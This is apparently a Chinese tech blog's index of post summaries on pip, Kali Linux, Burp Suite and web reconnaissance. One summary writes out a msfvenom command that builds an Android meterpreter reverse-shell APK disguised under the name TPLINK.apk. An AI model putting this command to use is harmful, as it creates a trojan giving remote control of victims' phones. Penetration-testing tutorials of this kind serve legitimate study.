2020年3月14日
为什么您应该使用`python -m pip`
摘要： python -m pip是什么? 首先，python -m pip会使用您指定为python的Python解释器来执行pip。因此，/usr/bin/python3.7 -m pip表示您正在执行位于/usr/bin/python3.7的解释器的pip。如果您不熟悉这个标志以及它是如何工作的，您可 阅读全文
posted @ 2020-03-14 10:59 the苍穹 阅读(7559) 评论(0) 推荐(0)
解决pip下载慢的方法
摘要： 临时使用：通用windows和linux可以在使用pip的时候在后面加上-i参数，指定pip源eg: pip install scrapy -i https://pypi.tuna.tsinghua.edu.cn/simple 永久修改：Linux:修改 /root/.pip/pip.conf (没 阅读全文
posted @ 2020-03-14 10:47 the苍穹 阅读(535) 评论(0) 推荐(0)
2020年3月13日
kali下androidshell那些事
摘要： 普通版 在kali中我们可以利用msfvenom来生成一个Android木马。命令如下： msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.232.195 LPORT=5555 R > TPLINK.apk 这样便生成了一个名为TPL 阅读全文
posted @ 2020-03-13 16:09 the苍穹 阅读(246) 评论(0) 推荐(0)
2020年3月11日
burp suite 的intruder 四种攻击方式
摘要： 一：sniper【狙击手】 这种攻击基于原始的请求内容，需要一个字典，每次用字典里的一个值去代替一个待攻击的原始值。 攻击次数=参数个数X字典内元素个数 例如：原始请求中 name=aa , password=bb， 字典: { 1 ,2 }; 那么会产生四个请求： name=1 , passwor 阅读全文
posted @ 2020-03-11 18:39 the苍穹 阅读(1056) 评论(0) 推荐(0)
kali web渗透测试—信息收集篇
摘要： 网站基本信息收集 网站域名、子域名收集 域名解析ip查询 网站所有人（whois） 负责人联系方式 网站基于那个CMS搭建 1x01 网站域名子域名收集 这里，我们以本站一级域名bbskali.cn为例，简单看看网站子域名信息的收集。这里介绍几个kali中自带的子域名查询工具。利用dnsmap查询子 阅读全文
posted @ 2020-03-11 17:45 the苍穹 阅读(1450) 评论(0) 推荐(0)
一些相见恨晚的BurpSuite插件推荐
摘要： BurpSuite 是我心中最强大的Web渗透工具，没有之一！它也是日常中用得最多的工具，它有一些强大的插件可以帮忙我们减少大量的工作量以及更好地挖掘漏洞，今天分享下我常用的一些 burp 插件。 Autorize —— 强大的越权自动化测试工具 如果你在测试越权的时候，还是手动把URL复制到另一个 阅读全文
posted @ 2020-03-11 16:35 the苍穹 阅读(19392) 评论(0) 推荐(4)
2020年3月10日
kali linux下的文件的创建,以及编辑保存
摘要： 创建文件夹步骤：1.mkdir +desktop（路径）/ index(文件夹名） 在桌面创建了一个index文件夹 mkdir +123456 +desktop（路径）/ index.txt(文件夹名） 在桌面创建了一个index.txt文件夹，但需要权限 123456 才能访问 2.rm -(选 阅读全文
posted @ 2020-03-10 21:59 the苍穹 阅读(8491) 评论(0) 推荐(0)
kali源和Pip源修改
摘要： Kali源： 修改vi /etc/apt/sources.list #中科大 deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb-src http://mirrors.ustc.edu.cn/kali 阅读全文
posted @ 2020-03-10 21:57 the苍穹 阅读(2078) 评论(0) 推荐(0)
Linux 学会使用快捷键与Linux 系统目录结构
摘要： 学会使用快捷键 Ctrl + C：这个是用来终止当前命令的快捷键，当然你也可以输入一大串字符，不想让它运行直接 Ctrl + C，光标就会跳入下一行。Tab： 这个键是最有用的键了，也是笔者敲击概率最高的一个键。因为当你打一个命令打一半时，它会帮你补全的。不光是命令，当你打一个目录时，同样可以补全， 阅读全文
posted @ 2020-03-10 13:59 the苍穹 阅读(147) 评论(0) 推荐(0)
wscan——一个基于协程的轻量级Web目录扫描器
摘要： wscan v2.4 wscan——一个基于协程的轻量级Web目录扫描器 写来平时用来打CTF，探测敏感信息和目录结构的，主要目的还是要优雅 、快捷一点 :) 适用于CTF这类网站页面不多，需要敏感文件、目录结构探测的网站扫描 安装 $ python3 -m pip install wscan 特性 阅读全文
posted @ 2020-03-10 09:52 the苍穹 阅读(2248) 评论(0) 推荐(0)